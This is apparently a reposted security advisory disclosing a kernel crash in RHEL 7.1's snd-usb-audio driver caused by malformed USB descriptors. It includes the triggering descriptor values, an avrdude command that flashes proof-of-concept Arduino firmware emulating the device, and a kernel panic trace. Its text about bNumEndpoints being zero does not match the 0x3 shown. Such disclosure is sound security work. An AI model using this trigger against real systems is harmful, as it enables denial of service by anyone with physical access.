2016 m. kovo 16 d., trečiadienis

oss-2016-17: Local RedHat Enterprise Linux DoS – RHEL 7.1 Kernel crashes (multiple free) on invalid USB device descriptors (snd-usb-audio driver) P1

OS-S Security Advisory 2016-17
Linux snd-usb-audio Multiple Free

Date: March 4th, 2016
Authors: Sergej Schumilo, Hendrik Schwartke, Ralf Spenneberg
CVE: not yet assigned
CVSS:  4.9 (AV:L/AC:L/Au:N/C:N/I:N/A:C)
Title: Local RedHat Enterprise Linux DoS – RHEL 7.1 Kernel crashes (multiple
free) on invalid USB device descriptors (snd-usb-audio driver)
Severity: Critical. The Kernel panics. A reboot is required.
Ease of Exploitation: Trivial
Vulnerability type: Wrong input validation
Products: RHEL 7.1 including all updates
Kernel-Version: 3.10.0-229.20.1.el7.x86_64 (for debugging-purposes we used the
CentOS Kernel kernel-debuginfo-3.10.0-229.14.1.el7)
Vendor: Red Hat
Vendor contacted: November, 12th 2015
PDF of advisory: https://os-s.net//advisories/OSS-2016-17_snd-usb-audio.pdf

Abstract:
The Kernel 3.10.0-229.20.1.el7.x86_64 crashes on presentation of a buggy USB
device requiring the snd-usb-audio driver.

Detailed product description:
We confirmed the bug on the following system:
RHEL 7.1
Kernel 3.10.0-229.20.1.el7.x86_64
Kernel 3.10.0-327.10.1.el7.x86_64
Further products or kernel versions have not been tested.
How reproducible: Always
Actual results: Kernel crashes.

Description:
The bug was found using the USB-fuzzing framework vUSBf from Sergej Schumilo
(github.com/schumilo) using the following device descriptor:

[*] Device-Descriptor
  bLength:                      0x12
          bDescriptorType:              0x1
          bcdUSB:                       0x200
          bDeviceClass:                 0x3
          bDeviceSubClass:              0x0
          bDeviceProtocol:              0x0
          bMaxPacketSize:               0x40
          idVendor:                     0x582
          idProduct:                    0x0
          bcdDevice:                    0x100
          iManufacturer:                        0x1
          iProduct:                     0x2
          iSerialNumbers:                       0x3
          bNumConfigurations:           0x1





This is the configuration descriptor containing the malicious value for
bNumEndpoints causing the crash. A zero value for bNumEndpoints crashes the
system (multiple free).





                [*] Configuration-Descriptor
                  bLength:                      0x9
                  bDescriptorType:              0x2
                  wTotalLength:                 0x27
                  bNumInterfaces:               0x1
                  bConfigurationValue:          0x1
                  iConfiguration:                       0x0
                  bmAttributes:                 0x0
                  bMaxPower:                    0x31
                        [*] Interface-Descriptor
                          bLength:                      0x9
                          bDescriptorType:              0x4
                          bInterfaceNumber:             0x0
                          bAlternateSetting:            0x0
                          bNumEndpoints:                0x3
                          bInterfaceClass:                      0x0
                          bInterfaceSubClass:           0x0
                          bInterfaceProtocol:           0x0
                                [*] Endpoint-Descriptor:
                                  bLength:                      0x7
                                  bDescriptorType:              0x5
                                  bEndpointAddress:             0x81
                                  bmAttribut:                   0x3
                                  wMaxPacketSize:               0x404
                                  bInterval:                    0xc
                                [*] Endpoint-Descriptor:
                                  bLength:                      0x7
                                  bDescriptorType:              0x5
                                  bEndpointAddress:             0x1
                                  bmAttribut:                   0x2
                                  wMaxPacketSize:               0x4
                                  bInterval:                    0xc
                                [*] Endpoint-Descriptor:
                                  bLength:                      0x7
                                  bDescriptorType:              0x5
                                  bEndpointAddress:             0x82
                                  bmAttribut:                   0x1
                                  wMaxPacketSize:               0x4
                                  bInterval:                    0xc

A Kernel Address Sanitizer (KASan) report is available at https://os-s.net/advisories/OSS-2016-17_KASan_Report.txt.

Proof of Concept:
For a proof of concept, we are providing an Arduino Leonardo firmware file. This
firmware will emulate the defective USB device.


avrdude -v -p ATMEGA32u4 -c avr109 -P /dev/ttyACM0 -b 57600 -U
flash:w:binary.hex


The firmware has been attached to this bug report.
To prevent the automated delivery of the payload, a jumper may be used to
connect port D3 and 3V3!

Severity and Ease of Exploitation:
The vulnerability can be easily exploited. Using our Arduino Leonardo firmware,
only physical access to the system is required.

Vendor Communication:
We contacted Red Hat on the November, 12th 2015.
To this day, no security patch was provided by the vendor.
Since our 90-day Responsible Discourse deadline is expired, we publish this
Security Advisory.

References:
https://bugzilla.redhat.com/show_bug.cgi?id=1283358



Kernel Stacktrace:

[   32.951497] usb 1-1: new full-speed USB device number 2 using xhci_hcd
[   33.172627] usb 1-1: New USB device found, idVendor=0582, idProduct=0000
[   33.179073] usb 1-1: New USB device strings: Mfr=1, Product=2,
SerialNumber=3
[   33.186972] usb 1-1: Product: ĉ
[   33.190732] usb 1-1: Manufacturer: ĉ
[   33.195718] usb 1-1: SerialNumber: %
[   33.206296] usb 1-1: ep 0x81 - rounding interval to 64 microframes, ep desc
says 96 microframes
[   33.344127] BUG: unable to handle kernel NULL pointer dereference at
(null)
[   33.345023] IP: [<ffffffffa041d063>] free_substream.part.0+0x53/
0x70
[snd_usb_audio]
[   33.345023] PGD 0
[   33.345023] Oops: 0000 [#1] SMP
[   33.345023] Modules linked in: snd_usb_audio(+) snd_usbmidi_lib snd_hwdep
snd_rawmidi snd_seq snd_seq_device snd_pcm snd_timer snd soundcore
ip6t_rpfilter ip6t_REJECT ipt_REJECT xt_conntrack ebtable_nat ebtable_broute
bridge stp llc ebtable_filter ebtables ip6table_nat nf_conntrack_ipv6
nf_defrag_ipv6 nf_nat_ipv6 ip6table_mangle ip6table_security ip6table_raw
ip6table_filter ip6_tables iptable_nat nf_conntrack_ipv4 nf_defrag_ipv4
nf_nat_ipv4 nf_nat nf_conntrack iptable_mangle iptable_security iptable_raw
iptable_filter ip_tables bochs_drm ppdev syscopyarea sysfillrect sysimgblt ttm
drm_kms_helper drm pcspkr i2c_piix4 i2c_core serio_raw parport_pc parport xfs
libcrc32c sd_mod sr_mod crc_t10dif cdrom crct10dif_common ata_generic
pata_acpi ata_piix libata e1000 floppy dm_mirror dm_region_hash dm_log dm_mod
[   33.345023] CPU: 0 PID: 2220 Comm: systemd-udevd Not tainted
3.10.0-229.14.1.el7.x86_64 #1
[   33.345023] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS
rel-1.8.2-0-g33fbe13 by qemu-project.org 04/01/2014
[   33.345023] task: ffff88000bcfa220 ti: ffff88000bd20000 task.ti: ffff88000bd20000
[   33.345023] RIP: 0010:[<ffffffffa041d063>]  [<ffffffffa041d063>]
free_substream.part.0+0x53/0x70 [snd_usb_audio]
[   33.345023] RSP: 0018:ffff88000bd239b8  EFLAGS: 00010217
[   33.345023] RAX: ffff88000c53c101 RBX: ffff88000c53c080 RCX: 00000000000067bd
[   33.345023] RDX: 00000000000067bc RSI: ffffea00002f5400 RDI: ffff88000e401900
[   33.345023] RBP: ffff88000bd239d8 R08: 0000000000016420 R09: ffff88000fc16420
[   33.345023] R10: ffffea0000314f00 R11: ffffffffa041d060 R12: 0000000000000000
[   33.345023] R13: ffff8800000588b8 R14: ffff880000058818 R15: 0000000000000000
[   33.345023] FS:  00007fb8082b4880(0000) GS:ffff88000fc00000(0000)
knlGS:0000000000000000
[   33.345023] CS:  0010 DS: 0000 ES: 0000 CR0: 000000008005003b
[   33.345023] CR2: 0000000000000000 CR3: 000000000bd05000 CR4:
00000000000006f0
[   33.345023] DR0: 0000000000000000 DR1: 0000000000000000 DR2:
0000000000000000
[   33.345023] DR3: 0000000000000000 DR6: 00000000ffff0ff0 DR7: 0000000000000400
[   33.345023] Stack:
[   33.345023]  ffff880000058800 ffff880000058600 0000000000000000 ffff88000c388a68
[   33.345023]  ffff88000bd239f0 ffffffffa041d319 ffffffffa03da0b8 ffff88000bd23a10
[   33.345023]  ffffffffa03c88b8 ffff88000f5c2a80 ffff88000c388980 ffff88000bd23a20
[   33.345023] Call Trace:
[   33.345023]  [<ffffffffa041d319>] snd_usb_audio_pcm_free+0x69/0x70
[snd_usb_audio]
[   33.345023]  [<ffffffffa03c88b8>] snd_pcm_free+0x58/0x90 [snd_pcm]
[   33.345023]  [<ffffffffa03c8902>] snd_pcm_dev_free+0x12/0x20 [snd_pcm]
[   33.345023]  [<ffffffffa03a2ec9>] __snd_device_free+0x29/0x80 [snd]
[   33.345023]  [<ffffffffa03a319b>] snd_device_free_all+0x3b/0x50 [snd]
[   33.345023]  [<ffffffffa039c8ae>] release_card_device+0x1e/0x80 [snd]
[   33.345023]  [<ffffffff813cdde2>] device_release+0x32/0xa0
[   33.345023]  [<ffffffff812d6efe>] kobject_release+0x7e/0x1b0
[   33.345023]  [<ffffffff812d6db8>] kobject_put+0x28/0x60
[   33.345023]  [<ffffffff813ce107>] put_device+0x17/0x20
[   33.345023]  [<ffffffffa039cb09>] snd_card_free_when_closed+0x29/0x40 [snd]
[   33.345023]  [<ffffffffa039cc64>] snd_card_free+0x54/0x90 [snd]
[   33.345023]  [<ffffffffa041bf83>] ? create_composite_quirk+0x73/0xb0
[snd_usb_audio]
[   33.345023]  [<ffffffffa040e991>] usb_audio_probe+0x251/0x8d0 [snd_usb_audio]
[   33.345023]  [<ffffffff8141dc04>] usb_probe_interface+0x1c4/0x2f0
[   33.345023]  [<ffffffff813d30d7>] driver_probe_device+0x87/0x390
[   33.345023]  [<ffffffff813d34b3>] __driver_attach+0x93/0xa0
[   33.345023]  [<ffffffff813d3420>] ? __device_attach+0x40/0x40
[   33.345023]  [<ffffffff813d0e43>] bus_for_each_dev+0x73/0xc0
[   33.345023]  [<ffffffff813d2b2e>] driver_attach+0x1e/0x20
[   33.345023]  [<ffffffff813d2680>] bus_add_driver+0x200/0x2d0
[   33.345023]  [<ffffffff813d3b34>] driver_register+0x64/0xf0
[   33.345023]  [<ffffffff8141c1c2>] usb_register_driver+0x82/0x160
[   33.345023]  [<ffffffffa0437000>] ? 0xffffffffa0436fff
[   33.345023]  [<ffffffffa043701e>] usb_audio_driver_init+0x1e/0x1000
[snd_usb_audio]
[   33.345023]  [<ffffffff810020e8>] do_one_initcall+0xb8/0x230
[   33.345023]  [<ffffffff810dd0ee>] load_module+0x133e/0x1b40
[   33.345023]  [<ffffffff812f7d60>] ? ddebug_proc_write+0xf0/0xf0
[   33.345023]  [<ffffffff810d96b3>] ? copy_module_from_fd.isra.42+0x53/0x150
[   33.345023]  [<ffffffff810ddaa6>] SyS_finit_module+0xa6/0xd0
[   33.345023]  [<ffffffff81614389>] system_call_fastpath+0x16/0x1b
[   33.345023] Code: 0d eb 2e 0f 1f 44 00 00 4c 89 e3 49 89 c4 48 8b 7b 48 e8
81 de d8 e0 48 8b 7b 58 e8 78 de d8 e0 48 89 df e8 70 de d8 e0 4d 39 ec <49>
8b 04 24 75 d7 49 8b be b8 00 00 00 e8 5b de d8 e0 5b 41 5c
[   33.345023] RIP  [<ffffffffa041d063>] free_substream.part.0+0x53/0x70
[snd_usb_audio]
[   33.345023]  RSP <ffff88000bd239b8>
[   33.345023] CR2: 0000000000000000
[   33.876830] ---[ end trace b239663354a1c556 ]---
[   33.882175] Kernel panic - not syncing: Fatal exception
[   33.883149] drm_kms_helper: panic occurred, switching back to text console

Komentarų nėra:

Rašyti komentarą